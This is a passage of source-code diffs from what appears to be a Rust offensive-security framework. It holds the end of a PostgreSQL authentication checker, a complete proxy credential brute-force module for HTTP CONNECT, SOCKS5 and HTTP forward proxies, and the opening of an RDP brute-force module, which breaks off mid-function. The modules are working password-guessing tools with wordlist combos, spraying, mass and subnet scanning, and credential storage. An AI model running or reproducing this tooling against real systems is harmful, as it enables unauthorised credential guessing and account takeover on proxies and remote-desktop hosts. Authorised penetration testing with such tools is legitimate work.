||||
}
|
||||
|
||||
// Read server response - may get multiple messages
|
||||
loop {
|
||||
let (msg_type, payload) = match read_pg_message(&mut stream).await {
|
||||
Ok(m) => m,
|
||||
Err(e) => {
|
||||
return PgResult::ConnectionError(format!("Failed to read response: {}", e))
|
||||
}
|
||||
};
|
||||
|
||||
match msg_type {
|
||||
b'R' => {
|
||||
// Authentication message
|
||||
if payload.len() < 4 {
|
||||
return PgResult::ProtocolError("Auth message too short".to_string());
|
||||
}
|
||||
let auth_type = u32::from_be_bytes([payload[0], payload[1], payload[2], payload[3]]);
|
||||
|
||||
match auth_type {
|
||||
0 => {
|
||||
// AuthenticationOk - success!
|
||||
return PgResult::Success;
|
||||
}
|
||||
3 => {
|
||||
// CleartextPassword requested
|
||||
let pass_msg = build_password_message(password);
|
||||
if let Err(e) = stream.write_all(&pass_msg).await {
|
||||
return PgResult::ConnectionError(format!(
|
||||
"Failed to send password: {}",
|
||||
e
|
||||
));
|
||||
}
|
||||
if let Err(e) = stream.flush().await {
|
||||
return PgResult::ConnectionError(format!("Flush error: {}", e));
|
||||
}
|
||||
// Continue loop to read the auth result
|
||||
}
|
||||
5 => {
|
||||
// MD5Password requested - extract 4-byte salt
|
||||
if payload.len() < 8 {
|
||||
return PgResult::ProtocolError(
|
||||
"MD5 auth message too short (no salt)".to_string(),
|
||||
);
|
||||
}
|
||||
let mut salt = [0u8; 4];
|
||||
salt.copy_from_slice(&payload[4..8]);
|
||||
|
||||
let md5_pass = compute_md5_password(username, password, &salt);
|
||||
let pass_msg = build_password_message(&md5_pass);
|
||||
if let Err(e) = stream.write_all(&pass_msg).await {
|
||||
return PgResult::ConnectionError(format!(
|
||||
"Failed to send MD5 password: {}",
|
||||
e
|
||||
));
|
||||
}
|
||||
if let Err(e) = stream.flush().await {
|
||||
return PgResult::ConnectionError(format!("Flush error: {}", e));
|
||||
}
|
||||
// Continue loop to read the auth result
|
||||
}
|
||||
10 => {
|
||||
// SASL authentication (SCRAM-SHA-256) -- not supported in this module
|
||||
return PgResult::ProtocolError(
|
||||
"SCRAM-SHA-256 auth not supported (use password or md5 in pg_hba.conf)"
|
||||
.to_string(),
|
||||
);
|
||||
}
|
||||
other => {
|
||||
return PgResult::ProtocolError(format!(
|
||||
"Unsupported auth type: {}",
|
||||
other
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
b'E' => {
|
||||
// ErrorResponse -- parse the message for detail
|
||||
let msg = parse_pg_error(&payload);
|
||||
if msg.contains("authentication failed")
|
||||
|| msg.contains("password authentication failed")
|
||||
|| msg.contains("no pg_hba.conf entry")
|
||||
{
|
||||
return PgResult::AuthFailed;
|
||||
}
|
||||
return PgResult::ProtocolError(msg);
|
||||
}
|
||||
b'N' => {
|
||||
// NoticeResponse -- informational, keep reading
|
||||
continue;
|
||||
}
|
||||
b'K' => {
|
||||
// BackendKeyData -- sent after successful auth, followed by ReadyForQuery
|
||||
// Continue reading to find ReadyForQuery
|
||||
continue;
|
||||
}
|
||||
b'S' => {
|
||||
// ParameterStatus -- sent after successful auth
|
||||
continue;
|
||||
}
|
||||
b'Z' => {
|
||||
// ReadyForQuery -- server is ready, auth was successful
|
||||
return PgResult::Success;
|
||||
}
|
||||
other => {
|
||||
return PgResult::ProtocolError(format!(
|
||||
"Unexpected message type: 0x{:02X} ('{}')",
|
||||
other, other as char
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Parse a PostgreSQL ErrorResponse into a human-readable string.
|
||||
///
|
||||
/// Format: series of type-byte + null-terminated string pairs, terminated by 0.
|
||||
fn parse_pg_error(payload: &[u8]) -> String {
|
||||
let mut messages = Vec::new();
|
||||
let mut pos = 0;
|
||||
|
||||
while pos < payload.len() {
|
||||
let field_type = payload[pos];
|
||||
pos += 1;
|
||||
|
||||
if field_type == 0 {
|
||||
break;
|
||||
}
|
||||
|
||||
// Find null terminator
|
||||
let start = pos;
|
||||
while pos < payload.len() && payload[pos] != 0 {
|
||||
pos += 1;
|
||||
}
|
||||
|
||||
let value = String::from_utf8_lossy(&payload[start..pos]).to_string();
|
||||
pos += 1; // skip null terminator
|
||||
|
||||
match field_type {
|
||||
b'S' => messages.push(format!("Severity: {}", value)),
|
||||
b'M' => messages.push(value.clone()),
|
||||
b'C' => messages.push(format!("Code: {}", value)),
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
if messages.is_empty() {
|
||||
"Unknown PostgreSQL error".to_string()
|
||||
} else {
|
||||
messages.join("; ")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,382 @@
|
||||
//! Proxy Authentication Bruteforce Module
|
||||
//!
|
||||
//! Bruteforces authenticated proxies: HTTP CONNECT (Basic/Digest),
|
||||
//! SOCKS5 username/password, and HTTP forward proxies.
|
||||
//!
|
||||
//! FOR AUTHORIZED PENETRATION TESTING ONLY.
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use std::net::IpAddr;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use base64::Engine as _;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_int_range,
|
||||
cfg_prompt_output_file, cfg_prompt_port, cfg_prompt_yes_no,
|
||||
load_lines, normalize_target,
|
||||
};
|
||||
use crate::utils::{
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
run_bruteforce, run_subnet_bruteforce,
|
||||
is_mass_scan_target, is_subnet_target, run_mass_scan, MassScanConfig,
|
||||
};
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "Proxy Bruteforce".to_string(),
|
||||
description: "Bruteforces proxy authentication for HTTP CONNECT (Basic auth), SOCKS5 (username/password), and HTTP forward proxies. Supports combo, spray, and credential file modes.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// PROXY AUTH TYPES
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
enum ProxyType {
|
||||
HttpConnect,
|
||||
Socks5,
|
||||
HttpForward,
|
||||
}
|
||||
|
||||
impl ProxyType {
|
||||
fn from_str(s: &str) -> Self {
|
||||
match s.trim().to_lowercase().as_str() {
|
||||
"socks5" | "socks" => Self::Socks5,
|
||||
"http_forward" | "forward" | "transparent" => Self::HttpForward,
|
||||
_ => Self::HttpConnect,
|
||||
}
|
||||
}
|
||||
|
||||
fn name(&self) -> &'static str {
|
||||
match self {
|
||||
Self::HttpConnect => "HTTP CONNECT",
|
||||
Self::Socks5 => "SOCKS5",
|
||||
Self::HttpForward => "HTTP Forward",
|
||||
}
|
||||
}
|
||||
|
||||
fn default_port(&self) -> u16 {
|
||||
match self {
|
||||
Self::HttpConnect => 8080,
|
||||
Self::Socks5 => 1080,
|
||||
Self::HttpForward => 3128,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// AUTH ATTEMPTS
|
||||
// ============================================================================
|
||||
|
||||
/// Try HTTP CONNECT proxy with Basic auth.
|
||||
async fn try_http_connect_auth(
|
||||
target: &str, port: u16, user: &str, pass: &str, timeout_ms: u64,
|
||||
) -> LoginResult {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let dur = Duration::from_millis(timeout_ms);
|
||||
|
||||
let stream = match crate::utils::network::tcp_connect(&addr, dur).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return LoginResult::Error { message: e.to_string(), retryable: true },
|
||||
};
|
||||
let mut stream = stream;
|
||||
|
||||
// Basic auth header
|
||||
let cred = base64::engine::general_purpose::STANDARD.encode(format!("{}:{}", user, pass));
|
||||
let req = format!(
|
||||
"CONNECT httpbin.org:80 HTTP/1.1\r\nHost: httpbin.org\r\nProxy-Authorization: Basic {}\r\n\r\n",
|
||||
cred
|
||||
);
|
||||
|
||||
if let Err(e) = tokio::time::timeout(dur, stream.write_all(req.as_bytes())).await {
|
||||
return LoginResult::Error { message: format!("Write timeout: {}", e), retryable: true };
|
||||
}
|
||||
|
||||
let mut buf = [0u8; 1024];
|
||||
let n = match tokio::time::timeout(dur, stream.read(&mut buf)).await {
|
||||
Ok(Ok(n)) if n > 0 => n,
|
||||
Ok(Ok(_)) => return LoginResult::Error { message: "Empty response".to_string(), retryable: false },
|
||||
Ok(Err(e)) => return LoginResult::Error { message: e.to_string(), retryable: true },
|
||||
Err(_) => return LoginResult::Error { message: "Read timeout".to_string(), retryable: true },
|
||||
};
|
||||
|
||||
let resp = String::from_utf8_lossy(&buf[..n]);
|
||||
if resp.contains("200") {
|
||||
LoginResult::Success
|
||||
} else if resp.contains("407") || resp.contains("401") || resp.contains("403") {
|
||||
LoginResult::AuthFailed
|
||||
} else {
|
||||
LoginResult::Error { message: format!("Unexpected: {}", resp.lines().next().unwrap_or("")), retryable: false }
|
||||
}
|
||||
}
|
||||
|
||||
/// Try SOCKS5 proxy with username/password auth (RFC 1929).
|
||||
async fn try_socks5_auth(
|
||||
target: &str, port: u16, user: &str, pass: &str, timeout_ms: u64,
|
||||
) -> LoginResult {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let dur = Duration::from_millis(timeout_ms);
|
||||
|
||||
let mut stream = match crate::utils::network::tcp_connect(&addr, dur).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return LoginResult::Error { message: e.to_string(), retryable: true },
|
||||
};
|
||||
|
||||
// SOCKS5 greeting: version 5, 1 method, username/password (0x02)
|
||||
if tokio::time::timeout(dur, stream.write_all(&[0x05, 0x01, 0x02])).await.is_err() {
|
||||
return LoginResult::Error { message: "Greeting timeout".to_string(), retryable: true };
|
||||
}
|
||||
|
||||
let mut buf = [0u8; 2];
|
||||
match tokio::time::timeout(dur, stream.read_exact(&mut buf)).await {
|
||||
Ok(Ok(_)) => {}
|
||||
_ => return LoginResult::Error { message: "Greeting response timeout".to_string(), retryable: true },
|
||||
}
|
||||
|
||||
if buf[0] != 0x05 {
|
||||
return LoginResult::Error { message: "Not SOCKS5".to_string(), retryable: false };
|
||||
}
|
||||
if buf[1] != 0x02 {
|
||||
return LoginResult::Error { message: format!("Auth method {} not user/pass", buf[1]), retryable: false };
|
||||
}
|
||||
|
||||
// RFC 1929 username/password auth
|
||||
let user_bytes = user.as_bytes();
|
||||
let pass_bytes = pass.as_bytes();
|
||||
if user_bytes.len() > 255 || pass_bytes.len() > 255 {
|
||||
return LoginResult::Error { message: "Credentials too long (max 255 bytes each)".to_string(), retryable: false };
|
||||
}
|
||||
|
||||
let mut auth_pkt = vec![0x01u8]; // version
|
||||
auth_pkt.push(user_bytes.len() as u8);
|
||||
auth_pkt.extend_from_slice(user_bytes);
|
||||
auth_pkt.push(pass_bytes.len() as u8);
|
||||
auth_pkt.extend_from_slice(pass_bytes);
|
||||
|
||||
if tokio::time::timeout(dur, stream.write_all(&auth_pkt)).await.is_err() {
|
||||
return LoginResult::Error { message: "Auth write timeout".to_string(), retryable: true };
|
||||
}
|
||||
|
||||
let mut resp = [0u8; 2];
|
||||
match tokio::time::timeout(dur, stream.read_exact(&mut resp)).await {
|
||||
Ok(Ok(_)) => {}
|
||||
_ => return LoginResult::Error { message: "Auth response timeout".to_string(), retryable: true },
|
||||
}
|
||||
|
||||
if resp[1] == 0x00 {
|
||||
LoginResult::Success
|
||||
} else {
|
||||
LoginResult::AuthFailed
|
||||
}
|
||||
}
|
||||
|
||||
/// Try HTTP forward proxy with Basic auth.
|
||||
async fn try_http_forward_auth(
|
||||
target: &str, port: u16, user: &str, pass: &str, timeout_ms: u64,
|
||||
) -> LoginResult {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let dur = Duration::from_millis(timeout_ms);
|
||||
|
||||
let mut stream = match crate::utils::network::tcp_connect(&addr, dur).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return LoginResult::Error { message: e.to_string(), retryable: true },
|
||||
};
|
||||
|
||||
let cred = base64::engine::general_purpose::STANDARD.encode(format!("{}:{}", user, pass));
|
||||
let req = format!(
|
||||
"GET http://httpbin.org/ip HTTP/1.1\r\nHost: httpbin.org\r\nProxy-Authorization: Basic {}\r\nConnection: close\r\n\r\n",
|
||||
cred
|
||||
);
|
||||
|
||||
if tokio::time::timeout(dur, stream.write_all(req.as_bytes())).await.is_err() {
|
||||
return LoginResult::Error { message: "Write timeout".to_string(), retryable: true };
|
||||
}
|
||||
|
||||
let mut buf = [0u8; 2048];
|
||||
let n = match tokio::time::timeout(dur, stream.read(&mut buf)).await {
|
||||
Ok(Ok(n)) if n > 0 => n,
|
||||
_ => return LoginResult::Error { message: "Read timeout".to_string(), retryable: true },
|
||||
};
|
||||
|
||||
let resp = String::from_utf8_lossy(&buf[..n]);
|
||||
if resp.contains("200") && resp.contains("origin") {
|
||||
LoginResult::Success
|
||||
} else if resp.contains("407") || resp.contains("401") || resp.contains("403") {
|
||||
LoginResult::AuthFailed
|
||||
} else {
|
||||
LoginResult::Error { message: format!("HTTP {}", resp.lines().next().unwrap_or("")), retryable: false }
|
||||
}
|
||||
}
|
||||
|
||||
/// Dispatch to the right auth function based on proxy type.
|
||||
async fn try_proxy_auth(
|
||||
proxy_type: ProxyType, target: &str, port: u16, user: &str, pass: &str, timeout_ms: u64,
|
||||
) -> LoginResult {
|
||||
match proxy_type {
|
||||
ProxyType::HttpConnect => try_http_connect_auth(target, port, user, pass, timeout_ms).await,
|
||||
ProxyType::Socks5 => try_socks5_auth(target, port, user, pass, timeout_ms).await,
|
||||
ProxyType::HttpForward => try_http_forward_auth(target, port, user, pass, timeout_ms).await,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// MAIN
|
||||
// ============================================================================
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!("{}", "+=================================================================+".cyan());
|
||||
crate::mprintln!("{}", "| Proxy Authentication Bruteforce |".cyan());
|
||||
crate::mprintln!("{}", "| HTTP CONNECT (Basic) | SOCKS5 (RFC 1929) | HTTP Forward |".cyan());
|
||||
crate::mprintln!("{}", "+=================================================================+".cyan());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
// --- Mass scan ---
|
||||
if is_mass_scan_target(target) {
|
||||
let proxy_type_input = cfg_prompt_default("proxy_type", "Proxy type (http_connect/socks5/http_forward)", "http_connect").await?;
|
||||
let proxy_type = ProxyType::from_str(&proxy_type_input);
|
||||
let users_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let pass_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = Arc::new(load_lines(&users_file)?);
|
||||
let passes = Arc::new(load_lines(&pass_file)?);
|
||||
if users.is_empty() { return Err(anyhow!("Username list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Password list empty")); }
|
||||
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "Proxy",
|
||||
default_port: proxy_type.default_port(),
|
||||
state_file: "proxy_brute_mass_state.log",
|
||||
default_output: "proxy_brute_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, move |ip: IpAddr, port: u16| {
|
||||
let users = users.clone();
|
||||
let passes = passes.clone();
|
||||
async move {
|
||||
// Quick connectivity check
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
let t = ip.to_string();
|
||||
for user in users.iter() {
|
||||
for pass in passes.iter() {
|
||||
match try_proxy_auth(proxy_type, &t, port, user, pass, 5000).await {
|
||||
LoginResult::Success => {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
let msg = format!("[{}] {}:{} {} auth: {}:{}", ts, ip, port, proxy_type.name(), user, pass);
|
||||
crate::mprintln!("\r{}", format!("[+] FOUND: {}:{} {}:{}", ip, port, user, pass).green().bold());
|
||||
crate::cred_store::store_credential(
|
||||
&t, port, &format!("proxy-{}", proxy_type.name().to_lowercase()),
|
||||
user, pass, crate::cred_store::CredType::Password,
|
||||
"creds/generic/proxy_credcheck",
|
||||
).await;
|
||||
return Some(format!("{}\n", msg));
|
||||
}
|
||||
LoginResult::AuthFailed => continue,
|
||||
LoginResult::Error { .. } => break, // host issue, skip
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Subnet scan ---
|
||||
if is_subnet_target(target) {
|
||||
let proxy_type_input = cfg_prompt_default("proxy_type", "Proxy type (http_connect/socks5/http_forward)", "http_connect").await?;
|
||||
let proxy_type = ProxyType::from_str(&proxy_type_input);
|
||||
let port = cfg_prompt_port("port", &format!("{} port", proxy_type.name()), proxy_type.default_port()).await?;
|
||||
let users_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let pass_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&users_file)?;
|
||||
let passes = load_lines(&pass_file)?;
|
||||
if users.is_empty() { return Err(anyhow!("Username list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Password list empty")); }
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Concurrent hosts", 50, 1, 500).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output file", "proxy_brute_subnet.txt").await?;
|
||||
|
||||
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "proxy",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/proxy_credcheck",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
async move {
|
||||
try_proxy_auth(proxy_type, &ip.to_string(), port, &user, &pass, 5000).await
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Single target ---
|
||||
display_banner();
|
||||
|
||||
let proxy_type_input = cfg_prompt_default("proxy_type", "Proxy type (http_connect/socks5/http_forward)", "http_connect").await?;
|
||||
let proxy_type = ProxyType::from_str(&proxy_type_input);
|
||||
let normalized = normalize_target(target)?;
|
||||
let port = cfg_prompt_port("port", &format!("{} port", proxy_type.name()), proxy_type.default_port()).await?;
|
||||
|
||||
let users_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let pass_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let usernames = load_lines(&users_file)?;
|
||||
let passwords = load_lines(&pass_file)?;
|
||||
if usernames.is_empty() { return Err(anyhow!("Username list empty")); }
|
||||
if passwords.is_empty() { return Err(anyhow!("Password list empty")); }
|
||||
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Concurrent attempts", 10, 1, 100).await? as usize;
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first valid credential?", true).await?;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
|
||||
let save_path = cfg_prompt_output_file("output_file", "Output file", "proxy_brute_results.txt").await?;
|
||||
let timeout_ms: u64 = cfg_prompt_default("timeout", "Timeout (ms)", "5000").await?.parse().unwrap_or(5000);
|
||||
|
||||
crate::mprintln!("[*] Proxy: {} on {}:{}", proxy_type.name().cyan(), normalized, port);
|
||||
crate::mprintln!("[*] Combos: {}", combos.len());
|
||||
crate::mprintln!();
|
||||
|
||||
let result = run_bruteforce(
|
||||
&BruteforceConfig {
|
||||
target: normalized,
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
jitter_ms: 50,
|
||||
max_retries: 2,
|
||||
service_name: "proxy",
|
||||
source_module: "creds/generic/proxy_credcheck",
|
||||
},
|
||||
combos,
|
||||
move |target: String, port: u16, user: String, pass: String| {
|
||||
async move {
|
||||
try_proxy_auth(proxy_type, &target, port, &user, &pass, timeout_ms).await
|
||||
}
|
||||
},
|
||||
).await?;
|
||||
|
||||
result.print_found();
|
||||
result.save_to_file(&save_path)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,481 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use std::net::IpAddr;
|
||||
use tokio::time::Duration;
|
||||
|
||||
use crate::native::rdp as rdp_native;
|
||||
|
||||
use crate::utils::{
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_output_file,
|
||||
cfg_prompt_port, cfg_prompt_yes_no, load_lines,
|
||||
};
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "RDP Brute Force".to_string(),
|
||||
description: "Brute-force RDP authentication with multiple security level support (NLA, TLS, Standard RDP, Negotiate). Includes combo mode, concurrent connections, and subnet/mass scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
const MAX_MEMORY_LOAD_SIZE: u64 = 150 * 1024 * 1024; // 150 MB
|
||||
|
||||
/// RDP-specific error types for better classification
|
||||
#[derive(Debug, Clone)]
|
||||
enum RdpError {
|
||||
ConnectionFailed,
|
||||
ProtocolError,
|
||||
}
|
||||
|
||||
impl std::fmt::Display for RdpError {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
match self {
|
||||
RdpError::ConnectionFailed => write!(f, "Connection failed"),
|
||||
RdpError::ProtocolError => write!(f, "Protocol error"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// RDP Security Level for authentication
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
enum RdpSecurityLevel {
|
||||
Auto,
|
||||
Nla,
|
||||
Tls,
|
||||
Rdp,
|
||||
Negotiate,
|
||||
}
|
||||
|
||||
impl RdpSecurityLevel {
|
||||
fn as_protocol_flags(&self) -> u32 {
|
||||
match self {
|
||||
RdpSecurityLevel::Auto => rdp_native::PROTO_HYBRID | rdp_native::PROTO_SSL,
|
||||
RdpSecurityLevel::Nla => rdp_native::PROTO_HYBRID,
|
||||
RdpSecurityLevel::Tls => rdp_native::PROTO_SSL,
|
||||
RdpSecurityLevel::Rdp => rdp_native::PROTO_RDP,
|
||||
RdpSecurityLevel::Negotiate => {
|
||||
rdp_native::PROTO_HYBRID | rdp_native::PROTO_SSL | rdp_native::PROTO_RDP
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_selection() -> Result<Self> {
|
||||
crate::mprintln!("\nRDP Security Level Options:");
|
||||
crate::mprintln!(" 1. Auto (let client negotiate)");
|
||||
crate::mprintln!(" 2. NLA (Network Level Authentication)");
|
||||
crate::mprintln!(" 3. TLS (Transport Layer Security)");
|
||||
crate::mprintln!(" 4. RDP (Standard RDP encryption)");
|
||||
crate::mprintln!(" 5. Negotiate (try all methods)");
|
||||
|
||||
loop {
|
||||
let input = cfg_prompt_default("security_level", "Security level", "1").await?;
|
||||
match input.trim().to_lowercase().as_str() {
|
||||
"1" | "auto" => return Ok(RdpSecurityLevel::Auto),
|
||||
"2" | "nla" => return Ok(RdpSecurityLevel::Nla),
|
||||
"3" | "tls" => return Ok(RdpSecurityLevel::Tls),
|
||||
"4" | "rdp" => return Ok(RdpSecurityLevel::Rdp),
|
||||
"5" | "negotiate" => return Ok(RdpSecurityLevel::Negotiate),
|
||||
_ => crate::mprintln!("{}", "Invalid choice. Please select 1-5.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ RDP Brute Force Module ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Remote Desktop Protocol Credential Testing ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Native TCP + TLS + CredSSP/NTLM Authentication ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
/// Native RDP login via TCP + TLS + CredSSP/NTLM (no external tools needed)
|
||||
async fn try_rdp_login(
|
||||
addr: &str,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
timeout_duration: Duration,
|
||||
security_level: RdpSecurityLevel,
|
||||
) -> Result<bool> {
|
||||
let protocols = security_level.as_protocol_flags();
|
||||
match rdp_native::try_login(addr, user, pass, timeout_duration, protocols).await {
|
||||
Ok(rdp_native::RdpLoginResult::Success) => Ok(true),
|
||||
Ok(rdp_native::RdpLoginResult::AuthFailed) => Ok(false),
|
||||
Ok(rdp_native::RdpLoginResult::ConnectionFailed(e)) => {
|
||||
Err(anyhow!("{}: {}", RdpError::ConnectionFailed, e))
|
||||
}
|
||||
Ok(rdp_native::RdpLoginResult::ProtocolError(e)) => {
|
||||
Err(anyhow!("{}: {}", RdpError::ProtocolError, e))
|
||||
}
|
||||
Err(e) => Err(e),
|
||||
}
|
||||
}
|
||||
|
||||
/// Convert the result of `try_rdp_login` into the engine's `LoginResult`.
|
||||
fn map_rdp_result(result: Result<bool>) -> LoginResult {
|
||||
match result {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
let lower = msg.to_lowercase();
|
||||
let retryable = lower.contains("connection")
|
||||
|| lower.contains("timeout")
|
||||
|| lower.contains("reset")
|
||||
|| lower.contains("refused");
|
||||
LoginResult::Error {
|
||||
message: msg,
|
||||
retryable,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn format_socket_address(ip: &str, port: u16) -> String {
|
||||
let trimmed_ip = ip.trim_matches(|c| c == '[' || c == ']');
|
||||
if trimmed_ip.contains(':') && !trimmed_ip.contains("]:") {
|
||||
format!("[{}]:{}", trimmed_ip, port)
|
||||
} else {
|
||||
format!("{}:{}", trimmed_ip, port)
|
||||
}
|
||||
}
|
||||
|
||||
fn should_use_streaming(path: &str) -> Result<bool> {
|
||||
let metadata =
|
||||
std::fs::metadata(path).map_err(|e| anyhow!("Failed to get file metadata: {}", e))?;
|
||||
Ok(metadata.len() > MAX_MEMORY_LOAD_SIZE)
|
||||
}
|
||||
|
||||
fn format_file_size(size: u64) -> String {
|
||||
const UNITS: &[&str] = &["B", "KB", "MB", "GB"];
|
||||
let mut size = size as f64;
|
||||
let mut unit_index = 0;
|
||||
|
||||
while size >= 1024.0 && unit_index < UNITS.len() - 1 {
|
||||
size /= 1024.0;
|
||||
unit_index += 1;
|
||||
}
|
||||
|
||||
format!("{:.1} {}", size, UNITS[unit_index])
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// Check for Mass Scan Mode
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
|
||||
let port: u16 = cfg_prompt_port("port", "RDP Port", 3389).await?;
|
||||
let usernames_file =
|
||||
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = std::sync::Arc::new(load_lines(&usernames_file)?);
|
||||
let passes = std::sync::Arc::new(load_lines(&passwords_file)?);
|
||||
if users.is_empty() {
|
||||
return Err(anyhow!("User list empty"));
|
||||
}
|
||||
if passes.is_empty() {
|
||||
return Err(anyhow!("Pass list empty"));
|
||||
}
|
||||
|
||||
let security_level = RdpSecurityLevel::prompt_selection().await?;
|
||||
let timeout_secs: u64 =
|
||||
cfg_prompt_int_range("timeout", "Connection timeout (seconds)", 10, 1, 300).await?
|
||||
as u64;
|
||||
|
||||
let cfg = MassScanConfig {
|
||||
protocol_name: "RDP",
|
||||
default_port: port,
|
||||
state_file: "rdp_brute_hose_state.log",
|
||||
default_output: "rdp_brute_mass_results.txt",
|
||||
default_concurrency: 500,
|
||||
};
|
||||
|
||||
return run_mass_scan(target, cfg, move |ip, port| {
|
||||
let users = users.clone();
|
||||
